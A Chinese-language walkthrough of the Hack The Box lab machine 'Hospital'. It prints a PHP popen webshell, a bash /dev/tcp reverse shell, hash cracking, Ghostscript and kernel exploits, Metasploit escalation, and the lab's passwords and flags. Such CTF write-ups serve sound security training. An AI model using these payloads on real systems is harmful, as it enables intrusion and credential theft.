Machine - Hospital

https://app.hackthebox.com/machines/Hospital | Windows | Medium

Recon

使用nmap进行扫描

➜  Hospital nmap -sT -min-rate 5000 10.10.11.241
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-03 21:19 CST
Nmap scan report for 10.10.11.241
Host is up (0.054s latency).
Not shown: 979 filtered tcp ports (no-response)
PORT     STATE SERVICE
22/tcp   open  ssh
53/tcp   open  domain
88/tcp   open  kerberos-sec
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
389/tcp  open  ldap
443/tcp  open  https
445/tcp  open  microsoft-ds
464/tcp  open  kpasswd5
593/tcp  open  http-rpc-epmap
636/tcp  open  ldapssl
1801/tcp open  msmq
2103/tcp open  zephyr-clt
2105/tcp open  eklogin
2107/tcp open  msmq-mgmt
2179/tcp open  vmrdp
3268/tcp open  globalcatLDAP
3269/tcp open  globalcatLDAPssl
3389/tcp open  ms-wbt-server
5985/tcp open  wsman
8080/tcp open  http-proxy

Nmap done: 1 IP address (1 host up) scanned in 0.75 seconds

➜  Hospital nmap -sT -A -p 22,53,88,135,139,389,636,445,443,8080,2105 10.10.11.241
PORT     STATE SERVICE       VERSION
22/tcp   open  ssh           OpenSSH 9.0p1 Ubuntu 1ubuntu8.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 e1:4b:4b:3a:6d:18:66:69:39:f7:aa:74:b3:16:0a:aa (ECDSA)
|_  256 96:c1:dc:d8:97:20:95:e7:01:5f:20:a2:43:61:cb:ca (ED25519)
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-06-03 19:59:02Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
443/tcp  open  ssl/http      Apache httpd 2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.0.28)
|_http-server-header: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.0.28
| tls-alpn:
|_  http/1.1
|_ssl-date: TLS randomness does not represent time
|_http-title: Hospital Webmail :: Welcome to Hospital Webmail
| ssl-cert: Subject: commonName=localhost
| Not valid before: 2009-11-10T23:48:47
|_Not valid after:  2019-11-08T23:48:47
445/tcp  open  microsoft-ds?
PORT    STATE SERVICE  VERSION
389/tcp open  ldap     Microsoft Windows Active Directory LDAP (Domain: hospital.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC
| Subject Alternative Name: DNS:DC, DNS:DC.hospital.htb
| Not valid before: 2023-09-06T10:49:03
|_Not valid after:  2028-09-06T10:49:03
636/tcp open  ldapssl?
| ssl-cert: Subject: commonName=DC
| Subject Alternative Name: DNS:DC, DNS:DC.hospital.htb
| Not valid before: 2023-09-06T10:49:03
|_Not valid after:  2028-09-06T10:49:03
2105/tcp open  msrpc         Microsoft Windows RPC
8080/tcp open  http          Apache httpd 2.4.55 ((Ubuntu))
|_http-server-header: Apache/2.4.55 (Ubuntu)
| http-title: Login
|_Requested resource was login.php
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
|_http-open-proxy: Proxy might be redirecting requests
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Linux 4.X|5.X|2.6.X|3.X (91%)
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3
Aggressive OS guesses: Linux 4.15 - 5.19 (91%), Linux 5.0 - 5.14 (91%), Linux 2.6.32 - 3.13 (85%), Linux 3.10 - 4.11 (85%), Linux 3.2 - 4.14 (85%), Linux 4.15 (85%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OSs: Linux, Windows; CPE: cpe:/o:linux:linux_kernel, cpe:/o:microsoft:windows

Host script results:
| smb2-time:
|   date: 2025-06-03T19:59:59
|_  start_date: N/A
|_clock-skew: 6h38m32s
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required

TRACEROUTE (using proto 1/icmp)
HOP RTT      ADDRESS
1   87.53 ms 10.10.16.1
2   87.92 ms 10.10.11.241

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 103.35 seconds

看结果是有两个Web服务

匿名账户 SMB 无果

➜  Hospital smbclient -L 10.10.11.241 -U anonymous
Password for [WORKGROUP\anonymous]:
session setup failed: NT_STATUS_LOGON_FAILURE

Web 渗透

信息收集

现在要决定哪个先作为目标，443端口是 RoundCube

8080 端口像是自己写的一个医疗系统

但是可以注册账户

注册后登录进去，有一个文件上传功能点

文件上传测试

对上传功能点进行Fuzz

通过修改后缀名成功上传 phar

通过目录扫描扫描一下是否找到上传后的文件夹

➜  Hospital dirsearch -u http://10.10.11.241:8080/ -e php,txt,zip -x 403,404,503
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
  from pkg_resources import DistributionNotFound, VersionConflict

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, txt, zip | HTTP method: GET | Threads: 25 | Wordlist size: 10439

Output File: /root/Desktop/HackTheBox/Hospital/reports/http_10.10.11.241_8080/__25-06-03_21-40-13.txt

Target: http://10.10.11.241:8080/

[21:40:13] Starting: 
[21:40:36] 200 -    0B  - /config.php
[21:40:37] 301 -  317B  - /css  ->  http://10.10.11.241:8080/css/
[21:40:42] 301 -  319B  - /fonts  ->  http://10.10.11.241:8080/fonts/
[21:40:44] 301 -  320B  - /images  ->  http://10.10.11.241:8080/images/
[21:40:46] 301 -  316B  - /js  ->  http://10.10.11.241:8080/js/
[21:40:48] 200 -    2KB - /login.php
[21:40:58] 200 -    2KB - /register.php
[21:41:07] 200 -    0B  - /upload.php
[21:41:08] 301 -  321B  - /uploads  ->  http://10.10.11.241:8080/uploads/

Task Completed

尝试访问上传的文件

成功！！我们接着换成一句话木马 hah

上传后发现无法执行，原来是被禁用了，他们将很多的命令执行的函数都ban掉了

但是发现一些伪协议没有被ban掉

尝试进行文件读取

<?php include('php://filter/convert.base64-encode/resource=c:/WINDOWS/system.ini');?>

结果也是一样读取不到

尝试爆破一下未被禁用的命令执行函数

pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,system,shell_exec,exec,proc_open,preg_replace,passthru,curl_exec

我们发现popen并没有被禁用，我们上传 popen的一句话木马

<?php
if (isset($_REQUEST['win_cmd'])) {
    $command_to_execute = $_REQUEST['win_cmd'];
    $handle = popen($command_to_execute . ' 2>&1', 'r');
    if ($handle) {
        echo "<pre>";
        while (($line = fgets($handle)) !== false) {
            echo htmlspecialchars($line);
        }
        echo "</pre>";
        $exit_status = pclose($handle);
    } else {
        echo "无法执行命令或打开管道。";
    }
} else {
    echo "请提供 'win_cmd' 参数来执行命令。";
}
?>

成功执行命令

反弹 shell

这里我看靶机信息是Windows，然后尝试了很多的Windows反弹shell的命令，直到我发现回显powershell不存在，然后我读取了一下 /etc/passwd

所以这里应该是一个容器

/bin/bash -c 'bash -i >& /dev/tcp/10.10.16.69/1234 0>&1'

In Www-data Shell

Basic info

www-data@webserver:/var$ ip add
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 00:15:5d:00:8a:02 brd ff:ff:ff:ff:ff:ff
    inet 192.168.5.2/24 brd 192.168.5.255 scope global eth0
       valid_lft forever preferred_lft forever
    inet6 fe80::215:5dff:fe00:8a02/64 scope link 
       valid_lft forever preferred_lft forever

www-data@webserver:/var$ ls /home
drwilliams

Mysql Dump

拿到 shell 后得到了数据的账号密码，取一下有用的数据

www-data@webserver:/var/www/html$ cat config.php 
<?php
/* Database credentials. Assuming you are running MySQL
server with default setting (user 'root' with no password) */
define('DB_SERVER', 'localhost');
define('DB_USERNAME', 'root');
define('DB_PASSWORD', 'my$qls3rv1c3!');
define('DB_NAME', 'hospital');
 
/* Attempt to connect to MySQL database */
$link = mysqli_connect(DB_SERVER, DB_USERNAME, DB_PASSWORD, DB_NAME);
 
// Check connection
if($link === false){
    die("ERROR: Could not connect. " . mysqli_connect_error());
}
?>

www-data@webserver:/var/www/html$ mysql -uroot -p
Enter password: 
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 35
Server version: 10.11.2-MariaDB-1 Ubuntu 23.04

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]> 
MariaDB [hospital]> select * from users;
+----+------------+--------------------------------------------------------------+---------------------+
| id | username   | password                                                     | created_at          |
+----+------------+--------------------------------------------------------------+---------------------+
|  1 | admin      | $2y$10$caGIEbf9DBF7ddlByqCkrexkt0cPseJJ5FiVO1cnhG.3NLrxcjMh2 | 2023-09-21 14:46:04 |
|  2 | patient    | $2y$10$a.lNstD7JdiNYxEepKf1/OZ5EM5wngYrf.m5RxXCgSud7MVU6/tgO | 2023-09-21 15:35:11 |
|  3 | miraimirai | $2y$10$Kt41f.pRDSZsxb025P13x.St.0OeWUpcB5PUB/CYllflBTm1soFGq | 2025-06-03 15:30:08 |
|  4 | sunset     | $2y$10$iR4kNSugeGjGRE8M12Yjp.EtnF5AZINPTgtdve7VBPdFVqlbJ262e | 2025-06-03 20:11:12 |
+----+------------+--------------------------------------------------------------+---------------------+
4 rows in set (0.000 sec)

尝试爆破密码

➜  Hospital cat hash 
1:$2y$10$caGIEbf9DBF7ddlByqCkrexkt0cPseJJ5FiVO1cnhG.3NLrxcjMh2
2:$2y$10$a.lNstD7JdiNYxEepKf1/OZ5EM5wngYrf.m5RxXCgSud7MVU6/tgO
3:$2y$10$Kt41f.pRDSZsxb025P13x.St.0OeWUpcB5PUB/CYllflBTm1soFGq

➜  Hospital john --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 3 password hashes with 3 different salts (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
123456           (1)

GameOver(lay)

但是这个密码貌似没什么用，Linpeas 走一波，貌似也没有找到可利用的

找一下内核漏洞

www-data@webserver:/tmp$ uname -a
Linux webserver 5.19.0-35-generic #36-Ubuntu SMP PREEMPT_DYNAMIC Fri Feb 3 18:36:56 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux

https://github.com/g1vi/CVE-2023-2640-CVE-2023-32629

将 payload 上传，运行即可获得 root shell

Crack shadow

fscan 扫一波

root@webserver:/root# ./fscan -h 192.168.5.1-255

   ___                              _
  / _ \     ___  ___ _ __ __ _  ___| | __
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <
\____/     |___/\___|_|  \__,_|\___|_|\_\
                     fscan version: 1.8.4
start infoscan
(icmp) Target 192.168.5.2     is alive
(icmp) Target 192.168.5.1     is alive
[*] Icmp alive hosts len is: 2
192.168.5.1:88 open
192.168.5.1:445 open
192.168.5.1:443 open
192.168.5.1:139 open
192.168.5.1:135 open
192.168.5.2:80 open
192.168.5.2:22 open
[*] alive ports len is: 7
start vulscan
[*] WebTitle http://192.168.5.2        code:302 len:0      title:None 跳转url: http://192.168.5.2/login.php
[*] WebTitle http://192.168.5.2/login.php code:200 len:5739   title:Login
[*] NetInfo
[*]192.168.5.1
   [->]DC
   [->]192.168.5.1
   [->]10.10.11.241
   [->]dead:beef::236d:2f90:c45e:cc24
[*] NetBios 192.168.5.1     [+] DC:HOSPITAL\DC
[*] WebTitle https://192.168.5.1       code:200 len:5379   title:Hospital Webmail :: 欢迎使用 Hospital Webmail

乍一看拿到 root 好像没什么用，我们将 shadow 文件取出来爆破试试

root:$y$j9T$s/Aqv48x449udndpLC6eC.$WUkrXgkW46N4xdpnhMoax7US.JgyJSeobZ1dzDs..dD:19612:0:99999:7:::
drwilliams:$6$uWBSeTcoXXTBRkiL$S9ipksJfiZuO4bFI6I9w/iItu5.Ohoz3dABeF6QWumGBspUW378P1tlwak7NqzouoRTbrz6Ag0qcyGQxW192y/:19612:0:99999:7:::

最后得到用户drwilliams的密码

➜  Hospital john --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
qwe123!@#        (drwilliams)
1g 0:00:01:00 DONE (2025-06-03 23:31) 0.01656g/s 3562p/s 3562c/s 3562C/s raycharles..pakimo
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

In drwilliams Shell

信息收集

我们将密码拿去 Fuzz ，测试是否在 Windows 上有效

➜  Hospital nxc smb 10.10.11.241 -u drwilliams -p 'qwe123!@#' -d hospital.htb
SMB         10.10.11.241    445    DC               [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC) (domain:hospital.htb) (signing:True) (SMBv1:False) 
SMB         10.10.11.241    445    DC               [+] hospital.htb\drwilliams:qwe123!@#

➜  Hospital nxc wmi 10.10.11.241 -u drwilliams -p 'qwe123!@#' -d hospital.htb 
RPC         10.10.11.241    135    DC               [*] Windows 10 / Server 2019 Build 17763 (name:DC) (domain:hospital.htb)
RPC         10.10.11.241    135    DC               [+] hospital.htb\drwilliams:qwe123!@#

有效且拥有远程的权限

➜  Hospital nxc wmi 10.10.11.241 -u drwilliams -p 'qwe123!@#' -d hospital.htb 
RPC         10.10.11.241    135    DC               [*] Windows 10 / Server 2019 Build 17763 (name:DC) (domain:hospital.htb)
RPC         10.10.11.241    135    DC               [+] hospital.htb\drwilliams:qwe123!@#

但是这里并不能进行远程登录

➜  Hospital wmiexec.py hospital.htb/drwilliams:'qwe123!@#'@10.10.11.241 -dc-ip 10.10.11.241
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] SMBv3.0 dialect used
[-] rpc_s_access_denied

➜  Hospital evil-winrm -i 10.10.11.241 -u 'drwilliams' -p 'qwe123!@#'
                                        
Evil-WinRM shell v3.7
                                        
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
                                        
Error: An error of type WinRM::WinRMAuthorizationError happened, message is WinRM::WinRMAuthorizationError
                                        
Error: Exiting with code 1

后来发现 drwilliams 的凭据适用于 RoundCube

里面有一封 drbrown 发来的邮件

大致就是使用.eps的文件格式可以使用GhostScript进行可视化

可能drbrown 会打开我们上传的eps文件，通过检索发现GhostScript 有远程命令执行漏洞

CVE-2023-36664

https://github.com/jakabakos/CVE-2023-36664-Ghostscript-command-injection

打开 PS 或 EPS 文件时可能会发生此漏洞，并可能允许因 Ghostscript 错误处理管道设备的权限验证而导致的代码执行。

制作 payload

上传 eps 文件

试了好几次才把 Shell 弹过来

In Drbrown Shell

当前用户能拿到 user.txt

PS C:\Users\drbrown.HOSPITAL\Documents> type ../Desktop/user.txt
79ba545a7e91123a742e472d792b9d41

查看当前目录下的 ghostscript.bat 能得到drbrown用户密码

PS C:\Users\drbrown.HOSPITAL\Documents> type ghostscript.bat
@echo off
set filename=%~1
powershell -command "$p = convertto-securestring 'chr!$br0wn' -asplain -force;$c = new-object system.management.automation.pscredential('hospital\drbrown', $p);Invoke-Command -ComputerName dc -Credential $c -ScriptBlock { cmd.exe /c "C:\Program` Files\gs\gs10.01.1\bin\gswin64c.exe" -dNOSAFER "C:\Users\drbrown.HOSPITAL\Downloads\%filename%" }"

测试密码准确性

➜  CVE-2023-36664-Ghostscript-command-injection nxc smb 10.10.11.241 -u drbrown -p 'chr!$br0wn' -d hospital.htb
SMB         10.10.11.241    445    DC               [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC) (domain:hospital.htb) (signing:True) (SMBv1:False) 
SMB         10.10.11.241    445    DC               [+] hospital.htb\drbrown:chr!$br0wn

这里可以使用 evil-winrm来进行连接

➜  Hospital evil-winrm -i 10.10.11.241 -u 'drbrown' -p 'chr!$br0wn'  
                                        
Evil-WinRM shell v3.7
                                        
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\drbrown.HOSPITAL\Documents>

提权-方案-1

这里是越级打击，靶机是 2023发布的，这里使用的是 2024的漏洞

msf6 post(multi/recon/local_exploit_suggester) > exploit                                                                                                                                                        
[*] 10.10.11.241 - Collecting local exploits for x64/windows...                                                                                                                                                 
/usr/share/metasploit-framework/vendor/bundle/ruby/3.3.0/gems/logging-2.4.0/lib/logging.rb:10: warning: /usr/lib/x86_64-linux-gnu/ruby/3.3.0/syslog.so was loaded from the standard library, but will no longer 
be part of the default gems starting from Ruby 3.4.0.                                                                                                                                                           
You can add syslog to your Gemfile or gemspec to silence this warning.                                                                                                                                          
Also please contact the author of logging-2.4.0 to request adding syslog into its gemspec.                                                                                                                      
[*] 10.10.11.241 - 205 exploit checks are being tried...                                                                                                                                                        
[+] 10.10.11.241 - exploit/windows/local/bypassuac_comhijack: The target appears to be vulnerable.                                                                                                              
[+] 10.10.11.241 - exploit/windows/local/bypassuac_dotnet_profiler: The target appears to be vulnerable.                                                                   
[+] 10.10.11.241 - exploit/windows/local/bypassuac_sdclt: The target appears to be vulnerable.                                                                                                                  
[+] 10.10.11.241 - exploit/windows/local/bypassuac_sluihijack: The target appears to be vulnerable.                                                                                                             
[+] 10.10.11.241 - exploit/windows/local/cve_2020_1048_printerdemon: The target appears to be vulnerable.                  
[+] 10.10.11.241 - exploit/windows/local/cve_2020_1337_printerdemon: The target appears to be vulnerable.                                                                                                     
[+] 10.10.11.241 - exploit/windows/local/cve_2022_21882_win32k: The target appears to be vulnerable.                                                                                                            
[+] 10.10.11.241 - exploit/windows/local/cve_2022_21999_spoolfool_privesc: The target appears to be vulnerable.                                                      
[+] 10.10.11.241 - exploit/windows/local/cve_2024_30085_cloud_files: The target appears to be vulnerable.                  
[+] 10.10.11.241 - exploit/windows/local/cve_2024_30088_authz_basep: The target appears to be vulnerable. Version detected: Windows Server 2019. Revision number detected: 4974
[+] 10.10.11.241 - exploit/windows/local/cve_2024_35250_ks_driver: The target appears to be vulnerable. ks.sys is present, Windows Version detected: Windows Server 2019
[+] 10.10.11.241 - exploit/windows/local/ms16_032_secondary_logon_handle_privesc: The service is running, but could not be validated.

msf6 exploit(windows/local/cve_2024_35250_ks_driver) > exploit
[*] Started reverse TCP handler on 10.10.16.69:5555 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. ks.sys is present, Windows Version detected: Windows Server 2019
[*] Launching notepad to host the exploit...
[*] The notepad path is: C:\Windows\System32\notepad.exe
[*] The notepad pid is: 5996
[*] Reflectively injecting the DLL into 5996...
[*] Sending stage (203846 bytes) to 10.10.11.241
[*] Meterpreter session 3 opened (10.10.16.69:5555 -> 10.10.11.241:8915) at 2025-06-04 17:41:32 +0800

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

读取 root.txt

C:\Users\Administrator\Desktop>type root.txt
type root.txt
740a3ee12653be0821f595a14c9d1aae

提权-方案-2

因为 drbrown 也属于 Remote Desktop组，我们使用他的连接一下远程桌面

登录进去后就是在 Roundcube 的界面，并且是以 administrator 用户的账户

能看到密码：Th3B3stH0sp1t4l9786!

总结

drbrown其实还有一个权限

https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/manage/understand-security-groups#performance-log-users

Members of the Performance Log Users group can manage performance counters, logs, and alerts locally on the server and from remote clients without being a member of the Administrators group.

Performance Log Users 组的成员可以在服务器上本地和远程客户端管理性能计数器、日志和警报，而无需成为 Administrators 组的成员。

总的来说不算难，但是感觉步骤挺多的。还有就是打靶机是真的不能心急，要冷静..

HackTheBox - Machine - Hospital